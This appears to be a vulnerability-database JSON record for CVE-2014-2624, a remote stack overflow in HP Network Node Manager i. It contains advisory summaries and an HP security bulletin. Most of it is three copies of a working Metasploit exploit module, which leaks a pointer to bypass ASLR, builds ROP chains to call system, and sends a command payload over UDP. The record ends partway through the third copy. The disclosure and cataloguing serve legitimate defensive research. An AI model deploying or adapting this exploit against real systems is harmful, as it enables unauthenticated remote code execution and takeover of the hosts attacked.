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Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within ovopi.dll which listens by default on a UDP port 696. When parsing option -T, the process blindly copies user supplied data into a fixed-length buffer allowing for an arbitrary write to occur. A remote attacker can abuse this to execute remote code under the context of the SYSTEM user.", "modified": "2014-11-09T00:00:00", "published": "2014-10-01T00:00:00", "href": "http://www.zerodayinitiative.com/advisories/ZDI-14-341", "id": "ZDI-14-341", "title": "Hewlett-Packard Network Node Manager ovopi.dll Option -T Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-11-09T00:18:08", "bulletinFamily": "info", "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Hewlett-Packard Network Node Manager. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within ovopi.dll which listens by default on a UDP port 696. When parsing option -L, the process blindly copies user supplied data into a fixed-length buffer allowing for an arbitrary write to occur. A remote attacker can abuse this to execute remote code under the context of the SYSTEM user.", "modified": "2014-11-09T00:00:00", "published": "2014-10-01T00:00:00", "href": "http://www.zerodayinitiative.com/advisories/ZDI-14-340", "id": "ZDI-14-340", "title": "Hewlett-Packard Network Node Manager ovopi.dll Option -L Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:22:44", "bulletinFamily": "exploit", "description": "", "modified": "2014-09-30T00:00:00", "published": "2014-09-30T00:00:00", "href": "https://packetstormsecurity.com/files/128478/HP-Network-Node-Manager-I-PMD-Buffer-Overflow.html", "id": "PACKETSTORM:128478", "type": "packetstorm", "title": "HP Network Node Manager I PMD Buffer Overflow", "sourceData": "`## \n# This module requires Metasploit: http//metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = NormalRanking \n \ninclude Msf::Exploit::Remote::Udp \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'HP Network Node Manager I PMD Buffer Overflow', \n'Description' => %q{ \nThis module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The \nvulnerability exists in the pmd service, due to the insecure usage of functions like \nstrcpy and strcat while handling stack_option packets with user controlled data. In \norder to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from \nthe stack and finally build the rop chain to avoid NX. \n}, \n'Author' => \n[ \n'd(-_-)b', # Vulnerability discovery \n'juan vazquez' # Metasploit module \n], \n'References' => \n[ \n['CVE', '2014-2624'], \n['ZDI', '14-305'] \n], \n'Payload' => \n{ \n'BadChars' => \"\\x00\", \n'Space' => 3000, \n'DisableNops' => true, \n'Compat' => \n{ \n'PayloadType' => 'cmd cmd_bash', \n'RequiredCmd' => 'generic python perl openssl bash-tcp gawk' \n} \n}, \n'Arch' => ARCH_CMD, \n'Platform' => 'unix', \n'Targets' => \n[ \n['Automatic', {}], \n['HP NNMi 9.10 / CentOS 5', \n{ \n# ptr to .rodata with format specifier \n#.rodata:0003BE86 aS_1 db '%s',0 \n'ov_offset' => 0x3BE86, \n:rop => :rop_hp_nnmi_9_10 \n} \n], \n['HP NNMi 9.20 / CentOS 6', \n{ \n# ptr to .rodata with format specifier \n#.rodata:0003C2D6 aS_1 db '%s',0 \n'ov_offset' => 0x3c2d8, \n:rop => :rop_hp_nnmi_9_20 \n} \n] \n], \n'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20 \n'DisclosureDate' => 'Sep 09 2014', \n'DefaultTarget' => 0 \n)) \n \nregister_options([ Opt::RPORT(7426) ], self.class) \nend \n \ndef check \nheader = [ \n0x2a5, # pmdmgr_init pkt \n0x3cc, # signature \n0xa0c, # signature \n0xca8 # signature \n].pack(\"V\") \n \ndata = \"\\x00\" * (0xfa4 - header.length) \n \npkt = header + data \n \nconnect_udp \nudp_sock.put(pkt) \nres = udp_sock.timed_read(8, 1) \nif res.blank? \n# To mitigate MacOSX udp sockets behavior \n# see https://dev.metasploit.com/redmine/issues/7480 \nudp_sock.put(pkt) \nres = udp_sock.timed_read(8) \nend \ndisconnect_udp \n \nif res.blank? \nreturn Exploit::CheckCode::Unknown \nelsif res.length == 8 && res.unpack(\"V\").first == 0x2a5 \nreturn Exploit::CheckCode::Detected \nelse \nreturn Exploit::CheckCode::Unknown \nend \nend \n \ndef exploit \nconnect_udp \n# info leak with a \"proto_tbl\" packet \nprint_status(\"Sending a 'proto_tbl' request...\") \nudp_sock.put(proto_tbl_pkt) \n \nres = udp_sock.timed_read(13964, 1) \nif res.blank? \n# To mitigate MacOSX udp sockets behavior \n# see https://dev.metasploit.com/redmine/issues/7480 \nudp_sock.put(proto_tbl_pkt) \nres = udp_sock.timed_read(13964) \nend \n \nif res.blank? \nfail_with(Failure::Unknown, \"Unable to get a 'proto_tbl' response...\") \nend \n \nif target.name == 'Automatic' \nprint_status(\"Fingerprinting target...\") \nmy_target = auto_target(res) \nfail_with(Failure::NoTarget, \"Unable to autodetect target...\") if my_target.nil? \nelse \nmy_target = target \nfail_with(Failure::Unknown, \"Unable to leak libov base address...\") unless find_ov_base(my_target, res) \nend \n \nprint_good(\"Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...\") \n \n# exploit with a \"stack_option_pkt\" packet \nudp_sock.put(stack_option_pkt(my_target, @ov_base)) \n \ndisconnect_udp \nend \n \ndef rop_hp_nnmi_9_10(ov_base) \nrop = rand_text_alpha(775) \nrop << [0x808d7c1].pack(\"V\") # pop ebx ; pop ebp ; ret \nrop << [ov_base + 0x481A8].pack(\"V\") # ebx: libov .got \nrop << [0x8096540].pack(\"V\") # ptr to .data where user controlled string will be stored: \n# \"PMD Stack option specified, but stack not available (user_controlled)\" \nrop << [0x808d7c2].pack(\"V\") # pop ebp # ret \nrop << [0x08096540 + 4732].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) \nrop << [ov_base + 0x1D692].pack(\"V\") # ptr to 'call _system' sequence: \n#.text:0001D692 lea eax, [ebp+dest] \n#.text:0001D698 push eax ; command \n#.text:0001D699 call _system \nrop \nend \n \ndef rop_hp_nnmi_9_20(ov_base) \nrop = rand_text_alpha(775) \nrop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret \nrop << [0xf7f61cd0 + ov_base + 0x1dae6].pack(\"V\") # eax: ptr to 'call _system' sequence \n#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028) \n#.text:0001DAEC push eax ; command \n#.text:0001DAED call _system \nrop << [0x08097160].pack(\"V\") # ebx: ptr to .data where user controlled string will be stored: \n# \"PMD Stack option specified, but stack not available (user_controlled)\" \nrop << rand_text_alpha(4) # ebp: padding \nrop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) \nrop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret \nrop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret \nrop << [0xf7f61cd0 + ov_base + 0x47f1c].pack(\"V\") # eax: libov .got base \nrop << rand_text_alpha(4) # ebx: padding \nrop << [0x8097160 + 4764].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) \nrop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) \nrop << [0x805a58d].pack(\"V\") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got) \nrop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret ; (eax: call to system sequence from libov) \nrop << [0x80528BC].pack(\"V\") # jmp eax \n \nrop \nend \n \ndef stack_option_pkt(t, ov_base) \nhdr = [0x2a9].pack(\"V\") # stack_option packet \ndata = \"-SA\" # stack name (invalid one 'A') \ndata << \";\" # separator \ndata << self.send(t[:rop], ov_base) # malformed stack options \ndata << payload.encoded \ndata << \";\\n\" \ndata << \"\\x00\" * (0xfa4 - data.length - hdr.length) \n \nhdr + data \nend \n \ndef proto_tbl_pkt \nhdr = [0x2aa].pack(\"V\") # proto_tbl packet \ndata = \"\\x00\" * (0xfa4 - hdr.length) \n \nhdr + data \nend \n \ndef base(address, offset) \naddress - offset \nend \n \ndef find_ov_base(t, data) \nprint_status(\"Searching #{t.name} pointers...\") \ni = 0 \ndata.unpack(\"V*\").each do |int| \nif base(int, t['ov_offset']) % 0x1000 == 0 \nprint_status(\"Pointer 0x#{int.to_s(16)} found at offset #{i * 4}\") \n@ov_base = base(int, t['ov_offset']) \nreturn true \nend \ni = i + 1 \nend \n \nfalse \nend \n \ndef auto_target(data) \ntargets.each do |t| \nnext if t.name == 'Automatic' \nif find_ov_base(t, data) \nreturn t \nend \nend \n \nnil \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/128478/hp_nnmi_pmd_bof.rb.txt", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:53", "bulletinFamily": "software", "description": "\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nNote: the current version of the following document is available here:\r\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/\r\ndocDisplay?docId=emr_na-c04378450\r\n\r\nSUPPORT COMMUNICATION - SECURITY BULLETIN\r\n\r\nDocument ID: c04378450\r\nVersion: 1\r\n\r\nHPSBMU03075 rev.1 - HP Network Node Manager I &#40;NNMi&#41; for Windows and Linux,\r\nRemote Execution of Arbitrary Code\r\n\r\nNOTICE: The information in this Security Bulletin should be acted upon as\r\nsoon as possible.\r\n\r\nRelease Date: 2014-09-09\r\nLast Updated: 2014-09-09\r\n\r\nPotential Security Impact: Remote execution of arbitrary code\r\n\r\nSource: Hewlett-Packard Company, HP Software Security Response Team\r\n\r\nVULNERABILITY SUMMARY\r\nA potential security vulnerability has been identified with HP Network Node\r\nManager I &#40;NNMi&#41; on Windows and Linux. This vulnerability could be exploited\r\nremotely to allow arbitrary code execution.\r\n\r\nReferences: CVE-2014-2624 &#40;ZDI-CAN-2264, SSRT101519&#41;\r\n\r\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.\r\nHP Network Node Manager I &#40;NNMi&#41; v9.0X, v9.1X and v9.2X for Windows and\r\nLinux.\r\n\r\nBACKGROUND\r\n\r\nCVSS 2.0 Base Metrics\r\n===========================================================\r\n Reference Base Vector Base Score\r\nCVE-2014-2624 &#40;AV:N/AC:L/Au:N/C:C/I:C/A:C&#41; 10.0\r\n===========================================================\r\n Information on CVSS is documented\r\n in HP Customer Notice: HPSN-2008-002\r\n\r\nThe Hewlett-Packard Company thanks d&#40;-_-&#41;b for working with TippingPoint.s\r\nZero Day Initiative for reporting this vulnerability to\r\nsecurity-alert@hp.com.\r\n\r\nRESOLUTION\r\n\r\nHP has made the following Knowledge document information available to resolve\r\nthe vulnerability with HP NNMi.\r\n\r\nhttp://support.openview.hp.com/selfsolve/document/KM01138724\r\n\r\nCustomers can also contact HP Support to request a copy of this document.\r\n\r\nHISTORY\r\nVersion:1 &#40;rev.1&#41; - 9 September 2014 Initial release\r\nThird Party Security Patches: Third party security patches that are to be\r\ninstalled on systems running HP software products should be applied in\r\naccordance with the customer&#39;s patch management policy.\r\n\r\nSupport: For issues about implementing the recommendations of this Security\r\nBulletin, contact normal HP Services support channel. For other issues about\r\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com.\r\n\r\nReport: To report a potential security vulnerability with any HP supported\r\nproduct, send Email to: security-alert@hp.com\r\n\r\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\r\nalerts via Email:\r\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\r\n\r\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\r\navailable here:\r\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\r\n\r\nSoftware Product Category: The Software Product Category is represented in\r\nthe title by the two characters following HPSB.\r\n\r\n3C = 3COM\r\n3P = 3rd Party Software\r\nGN = HP General Software\r\nHF = HP Hardware and Firmware\r\nMP = MPE/iX\r\nMU = Multi-Platform Software\r\nNS = NonStop Servers\r\nOV = OpenVMS\r\nPI = Printing and Imaging\r\nPV = ProCurve\r\nST = Storage Software\r\nTU = Tru64 UNIX\r\nUX = HP-UX\r\n\r\nCopyright 2014 Hewlett-Packard Development Company, L.P.\r\nHewlett-Packard Company shall not be liable for technical or editorial errors\r\nor omissions contained herein. The information provided is provided &quot;as is&quot;\r\nwithout warranty of any kind. To the extent permitted by law, neither HP or\r\nits affiliates, subcontractors or suppliers will be liable for\r\nincidental,special or consequential damages including downtime cost; lost\r\nprofits; damages relating to the procurement of substitute products or\r\nservices; or damages for loss of data, or software restoration. The\r\ninformation in this document is subject to change without notice.\r\nHewlett-Packard Company and the names of Hewlett-Packard products referenced\r\nherein are trademarks of Hewlett-Packard Company in the United States and\r\nother countries. Other product and company names mentioned herein may be\r\ntrademarks of their respective owners.\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.13 &#40;GNU/Linux&#41;\r\n\r\niEYEARECAAYFAlQPgn4ACgkQ4B86/C0qfVmELACg7s274gotY7HFltOk0z6SpxnE\r\n39kAoLE2k6l+wIFOI7u1P0iQolGxq7TC\r\n=W6jA\r\n-----END PGP SIGNATURE-----\r\n\r\n", "modified": "2014-09-15T00:00:00", "published": "2014-09-15T00:00:00", "id": "SECURITYVULNS:DOC:31082", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:31082", "title": "[security bulletin] HPSBMU03075 rev.1 - HP Network Node Manager I &#40;NNMi&#41; for Windows and Linux, Remote Execution of Arbitrary Code", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:57", "bulletinFamily": "software", "description": "No description provided", "modified": "2014-09-15T00:00:00", "published": "2014-09-15T00:00:00", "id": "SECURITYVULNS:VULN:13965", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13965", "title": "HP Network Node Manager I code execution", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "metasploit": [{"lastseen": "2019-10-12T13:35:48", "bulletinFamily": "exploit", "description": "This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The vulnerability exists in the pmd service, due to the insecure usage of functions like strcpy and strcat while handling stack_option packets with user controlled data. In order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from the stack and finally build the ROP chain to avoid NX.\n", "modified": "2017-07-24T13:26:21", "published": "2014-09-24T05:22:16", "id": "MSF:EXPLOIT/LINUX/MISC/HP_NNMI_PMD_BOF", "href": "", "type": "metasploit", "title": "HP Network Node Manager I PMD Buffer Overflow", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::Udp\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'HP Network Node Manager I PMD Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The\n vulnerability exists in the pmd service, due to the insecure usage of functions like\n strcpy and strcat while handling stack_option packets with user controlled data. In\n order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from\n the stack and finally build the ROP chain to avoid NX.\n },\n 'Author' =>\n [\n 'd(-_-)b', # Vulnerability discovery\n 'juan vazquez' # Metasploit module\n ],\n 'References' =>\n [\n ['CVE', '2014-2624'],\n ['ZDI', '14-305']\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\",\n 'Space' => 3000,\n 'DisableNops' => true,\n 'Compat' =>\n {\n 'PayloadType' => 'cmd cmd_bash',\n 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'\n }\n },\n 'Arch' => ARCH_CMD,\n 'Platform' => 'unix',\n 'Targets' =>\n [\n ['Automatic', {}],\n ['HP NNMi 9.10 / CentOS 5',\n {\n # ptr to .rodata with format specifier\n #.rodata:0003BE86 aS_1 db '%s',0\n 'ov_offset' => 0x3BE86,\n :rop => :rop_hp_nnmi_9_10\n }\n ],\n ['HP NNMi 9.20 / CentOS 6',\n {\n # ptr to .rodata with format specifier\n #.rodata:0003C2D6 aS_1 db '%s',0\n 'ov_offset' => 0x3c2d8,\n :rop => :rop_hp_nnmi_9_20\n }\n ]\n ],\n 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20\n 'DisclosureDate' => 'Sep 09 2014',\n 'DefaultTarget' => 0\n ))\n\n register_options([ Opt::RPORT(7426) ])\n end\n\n def check\n header = [\n 0x2a5, # pmdmgr_init pkt\n 0x3cc, # signature\n 0xa0c, # signature\n 0xca8 # signature\n ].pack(\"V\")\n\n data = \"\\x00\" * (0xfa4 - header.length)\n\n pkt = header + data\n\n connect_udp\n udp_sock.put(pkt)\n res = udp_sock.timed_read(8, 1)\n if res.blank?\n # To mitigate MacOSX udp sockets behavior\n udp_sock.put(pkt)\n res = udp_sock.timed_read(8)\n end\n disconnect_udp\n\n if res.blank?\n return Exploit::CheckCode::Unknown\n elsif res.length == 8 && res.unpack(\"V\").first == 0x2a5\n return Exploit::CheckCode::Detected\n else\n return Exploit::CheckCode::Unknown\n end\n end\n\n def exploit\n connect_udp\n # info leak with a \"proto_tbl\" packet\n print_status(\"Sending a 'proto_tbl' request...\")\n udp_sock.put(proto_tbl_pkt)\n\n res = udp_sock.timed_read(13964, 1)\n if res.blank?\n # To mitigate MacOSX udp sockets behavior\n udp_sock.put(proto_tbl_pkt)\n res = udp_sock.timed_read(13964)\n end\n\n if res.blank?\n fail_with(Failure::Unknown, \"Unable to get a 'proto_tbl' response...\")\n end\n\n if target.name == 'Automatic'\n print_status(\"Fingerprinting target...\")\n my_target = auto_target(res)\n fail_with(Failure::NoTarget, \"Unable to autodetect target...\") if my_target.nil?\n else\n my_target = target\n fail_with(Failure::Unknown, \"Unable to leak libov base address...\") unless find_ov_base(my_target, res)\n end\n\n print_good(\"Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...\")\n\n # exploit with a \"stack_option_pkt\" packet\n udp_sock.put(stack_option_pkt(my_target, @ov_base))\n\n disconnect_udp\n end\n\n def rop_hp_nnmi_9_10(ov_base)\n rop = rand_text_alpha(775)\n rop << [0x808d7c1].pack(\"V\") # pop ebx ; pop ebp ; ret\n rop << [ov_base + 0x481A8].pack(\"V\") # ebx: libov .got\n rop << [0x8096540].pack(\"V\") # ptr to .data where user controlled string will be stored:\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\n rop << [0x808d7c2].pack(\"V\") # pop ebp # ret\n rop << [0x08096540 + 4732].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\n rop << [ov_base + 0x1D692].pack(\"V\") # ptr to 'call _system' sequence:\n #.text:0001D692 lea eax, [ebp+dest]\n #.text:0001D698 push eax ; command\n #.text:0001D699 call _system\n rop\n end\n\n def rop_hp_nnmi_9_20(ov_base)\n rop = rand_text_alpha(775)\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\n rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack(\"V\") # eax: ptr to 'call _system' sequence\n #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)\n #.text:0001DAEC push eax ; command\n #.text:0001DAED call _system\n rop << [0x08097160].pack(\"V\") # ebx: ptr to .data where user controlled string will be stored:\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\n rop << rand_text_alpha(4) # ebp: padding\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\n rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack(\"V\") # eax: libov .got base\n rop << rand_text_alpha(4) # ebx: padding\n rop << [0x8097160 + 4764].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\n rop << [0x805a58d].pack(\"V\") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)\n rop << [0x80528BC].pack(\"V\") # jmp eax\n\n rop\n end\n\n def stack_option_pkt(t, ov_base)\n hdr = [0x2a9].pack(\"V\") # stack_option packet\n data = \"-SA\" # stack name (invalid one 'A')\n data << \";\" # separator\n data << self.send(t[:rop], ov_base) # malformed stack options\n data << payload.encoded\n data << \";\\n\"\n data << \"\\x00\" * (0xfa4 - data.length - hdr.length)\n\n hdr + data\n end\n\n def proto_tbl_pkt\n hdr = [0x2aa].pack(\"V\") # proto_tbl packet\n data = \"\\x00\" * (0xfa4 - hdr.length)\n\n hdr + data\n end\n\n def base(address, offset)\n address - offset\n end\n\n def find_ov_base(t, data)\n print_status(\"Searching #{t.name} pointers...\")\n i = 0\n data.unpack(\"V*\").each do |int|\n if base(int, t['ov_offset']) % 0x1000 == 0\n print_status(\"Pointer 0x#{int.to_s(16)} found at offset #{i * 4}\")\n @ov_base = base(int, t['ov_offset'])\n return true\n end\n i = i + 1\n end\n\n false\n end\n\n def auto_target(data)\n targets.each do |t|\n next if t.name == 'Automatic'\n if find_ov_base(t, data)\n return t\n end\n end\n\n nil\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb"}], "exploitdb": [{"lastseen": "2016-02-04T00:06:06", "bulletinFamily": "exploit", "description": "HP Network Node Manager I PMD Buffer Overflow. CVE-2014-2624. Remote exploit for linux platform", "modified": "2014-10-02T00:00:00", "published": "2014-10-02T00:00:00", "id": "EDB-ID:34866", "href": "https://www.exploit-db.com/exploits/34866/", "type": "exploitdb", "title": "HP Network Node Manager I PMD Buffer Overflow", "sourceData": "##\r\n# This module requires Metasploit: http//metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = NormalRanking\r\n\r\n include Msf::Exploit::Remote::Udp\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'HP Network Node Manager I PMD Buffer Overflow',\r\n 'Description' => %q{\r\n This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The\r\n vulnerability exists in the pmd service, due to the insecure usage of functions like\r\n strcpy and strcat while handling stack_option packets with user controlled data. In\r\n order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from\r\n the stack and finally build the rop chain to avoid NX.\r\n },\r\n 'Author' =>\r\n [\r\n 'd(-_-)b', # Vulnerability discovery\r\n 'juan vazquez' # Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2014-2624'],\r\n ['ZDI', '14-305']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'BadChars' => \"\\x00\",\r\n 'Space' => 3000,\r\n 'DisableNops' => true,\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd cmd_bash',\r\n 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'\r\n }\r\n },\r\n 'Arch' => ARCH_CMD,\r\n 'Platform' => 'unix',\r\n 'Targets' =>\r\n [\r\n ['Automatic', {}],\r\n ['HP NNMi 9.10 / CentOS 5',\r\n {\r\n # ptr to .rodata with format specifier\r\n #.rodata:0003BE86 aS_1 db '%s',0\r\n 'ov_offset' => 0x3BE86,\r\n :rop => :rop_hp_nnmi_9_10\r\n }\r\n ],\r\n ['HP NNMi 9.20 / CentOS 6',\r\n {\r\n # ptr to .rodata with format specifier\r\n #.rodata:0003C2D6 aS_1 db '%s',0\r\n 'ov_offset' => 0x3c2d8,\r\n :rop => :rop_hp_nnmi_9_20\r\n }\r\n ]\r\n ],\r\n 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20\r\n 'DisclosureDate' => 'Sep 09 2014',\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options([ Opt::RPORT(7426) ], self.class)\r\n end\r\n\r\n def check\r\n header = [\r\n 0x2a5, # pmdmgr_init pkt\r\n 0x3cc, # signature\r\n 0xa0c, # signature\r\n 0xca8 # signature\r\n ].pack(\"V\")\r\n\r\n data = \"\\x00\" * (0xfa4 - header.length)\r\n\r\n pkt = header + data\r\n\r\n connect_udp\r\n udp_sock.put(pkt)\r\n res = udp_sock.timed_read(8, 1)\r\n if res.blank?\r\n # To mitigate MacOSX udp sockets behavior\r\n # see https://dev.metasploit.com/redmine/issues/7480\r\n udp_sock.put(pkt)\r\n res = udp_sock.timed_read(8)\r\n end\r\n disconnect_udp\r\n\r\n if res.blank?\r\n return Exploit::CheckCode::Unknown\r\n elsif res.length == 8 && res.unpack(\"V\").first == 0x2a5\r\n return Exploit::CheckCode::Detected\r\n else\r\n return Exploit::CheckCode::Unknown\r\n end\r\n end\r\n\r\n def exploit\r\n connect_udp\r\n # info leak with a \"proto_tbl\" packet\r\n print_status(\"Sending a 'proto_tbl' request...\")\r\n udp_sock.put(proto_tbl_pkt)\r\n\r\n res = udp_sock.timed_read(13964, 1)\r\n if res.blank?\r\n # To mitigate MacOSX udp sockets behavior\r\n # see https://dev.metasploit.com/redmine/issues/7480\r\n udp_sock.put(proto_tbl_pkt)\r\n res = udp_sock.timed_read(13964)\r\n end\r\n\r\n if res.blank?\r\n fail_with(Failure::Unknown, \"Unable to get a 'proto_tbl' response...\")\r\n end\r\n\r\n if target.name == 'Automatic'\r\n print_status(\"Fingerprinting target...\")\r\n my_target = auto_target(res)\r\n fail_with(Failure::NoTarget, \"Unable to autodetect target...\") if my_target.nil?\r\n else\r\n my_target = target\r\n fail_with(Failure::Unknown, \"Unable to leak libov base address...\") unless find_ov_base(my_target, res)\r\n end\r\n\r\n print_good(\"Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...\")\r\n\r\n # exploit with a \"stack_option_pkt\" packet\r\n udp_sock.put(stack_option_pkt(my_target, @ov_base))\r\n\r\n disconnect_udp\r\n end\r\n\r\n def rop_hp_nnmi_9_10(ov_base)\r\n rop = rand_text_alpha(775)\r\n rop << [0x808d7c1].pack(\"V\") # pop ebx ; pop ebp ; ret\r\n rop << [ov_base + 0x481A8].pack(\"V\") # ebx: libov .got\r\n rop << [0x8096540].pack(\"V\") # ptr to .data where user controlled string will be stored:\r\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\r\n rop << [0x808d7c2].pack(\"V\") # pop ebp # ret\r\n rop << [0x08096540 + 4732].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\r\n rop << [ov_base + 0x1D692].pack(\"V\") # ptr to 'call _system' sequence:\r\n #.text:0001D692 lea eax, [ebp+dest]\r\n #.text:0001D698 push eax ; command\r\n #.text:0001D699 call _system\r\n rop\r\n end\r\n\r\n def rop_hp_nnmi_9_20(ov_base)\r\n rop = rand_text_alpha(775)\r\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\r\n rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack(\"V\") # eax: ptr to 'call _system' sequence\r\n #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)\r\n #.text:0001DAEC push eax ; command\r\n #.text:0001DAED call _system\r\n rop << [0x08097160].pack(\"V\") # ebx: ptr to .data where user controlled string will be stored:\r\n # \"PMD Stack option specified, but stack not available (user_controlled)\"\r\n rop << rand_text_alpha(4) # ebp: padding\r\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\r\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret\r\n rop << [0x808dd70].pack(\"V\") # pop eax ; pop ebx ; pop ebp ; ret\r\n rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack(\"V\") # eax: libov .got base\r\n rop << rand_text_alpha(4) # ebx: padding\r\n rop << [0x8097160 + 4764].pack(\"V\") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\r\n rop << [0x804fb86].pack(\"V\") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)\r\n rop << [0x805a58d].pack(\"V\") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)\r\n rop << [0x8049ac4].pack(\"V\") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)\r\n rop << [0x80528BC].pack(\"V\") # jmp eax\r\n\r\n rop\r\n end\r\n\r\n def stack_option_pkt(t, ov_base)\r\n hdr = [0x2a9].pack(\"V\") # stack_option packet\r\n data = \"-SA\" # stack name (invalid one 'A')\r\n data << \";\" # separator\r\n data << self.send(t[:rop], ov_base) # malformed stack options\r\n data << payload.encoded\r\n data << \";\\n\"\r\n data << \"\\x00\" * (0xfa4 - data.length - hdr.length)\r\n\r\n hdr + data\r\n end\r\n\r\n def proto_tbl_pkt\r\n hdr = [0x2aa].pack(\"V\") # proto_tbl 